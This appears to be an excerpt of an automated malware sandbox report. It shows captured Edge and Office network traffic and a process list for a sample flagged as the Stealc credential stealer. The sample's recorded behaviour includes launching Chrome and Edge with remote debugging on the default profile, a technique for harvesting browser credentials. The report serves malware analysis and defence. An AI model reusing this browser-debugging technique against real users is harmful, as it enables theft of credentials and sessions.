2024-11-24 03:20:56 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sun, 24 Nov 2024 03:20:55 GMT Connection: close
2024-11-24 03:20:56 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49939	104.117.182.59	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=209244 Expires: Tue, 26 Nov 2024 13:28:20 GMT Date: Sun, 24 Nov 2024 03:20:56 GMT Connection: close
2024-11-24 03:20:56 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	49938	104.117.182.59	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-24 03:20:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=107826 Expires: Mon, 25 Nov 2024 09:18:02 GMT Date: Sun, 24 Nov 2024 03:20:56 GMT Connection: close
2024-11-24 03:20:56 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:55 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032056Z-178bfbc474bh5zbqhC1NYCkdug000000057g00000000k2rd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:56 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032056Z-178bfbc474bscnbchC1NYCe7eg00000005n0000000002crc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:56 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:56 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 923400a1-601e-005c-187f-3bf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032056Z-174c587ffdfcj798hC1TEB9bq4000000042g000000004e1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:56 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	49943	20.110.205.119	443	8004	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:56 UTC	1261	OUT	GET /c.gif?rnd=1732418452680&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=84cda325a222458b886d32c628c65b9a&activityId=84cda325a222458b886d32c628c65b9a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6CF8A6B4584A453F9F5BDFB39B49680B&MUID=022A54BEBDE36963130D41FFBC8168FF HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=022A54BEBDE36963130D41FFBC8168FF; _EDGE_S=F=1&SID=1C801C1AC56E684E22B4095BC4DA6977; _EDGE_V=1; SM=T
2024-11-24 03:20:56 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=022A54BEBDE36963130D41FFBC8168FF; domain=.msn.com; expires=Fri, 19-Dec-2025 03:20:56 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=022A54BEBDE36963130D41FFBC8168FF; domain=c.msn.com; expires=Fri, 19-Dec-2025 03:20:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Sun, 01-Dec-2024 03:20:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Sun, 24-Nov-2024 03:30:56 GMT; path=/; SameSite=None; Secure; Date: Sun, 24 Nov 2024 03:20:56 GMT Connection: close Content-Length: 42
2024-11-24 03:20:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:56 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:56 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 3994331f-f01e-0071-696c-3b431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032056Z-174c587ffdf8fcgwhC1TEBnn70000000041000000000a4sv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:56 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Target ID:	1
Start time:	22:20:11
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x900000
File size:	1'809'920 bytes
MD5 hash:	D3FB62AF150353D3CB05F84D328D5601
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2724080471.0000000000901000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2201312875.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:20:23
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:20:24
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2692 --field-trial-handle=2376,i,6617676585187416704,17059390612542835592,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	22:20:34
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff799c70000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:20:35
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2172,i,2543754135559751923,12033645619070038089,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:20:35
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	22:20:35
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2760 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	22:20:39
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6216 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:20:39
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6436 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:20:39
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:20:39
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7148 --field-trial-handle=2032,i,13800735472170156526,8368186768168770394,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

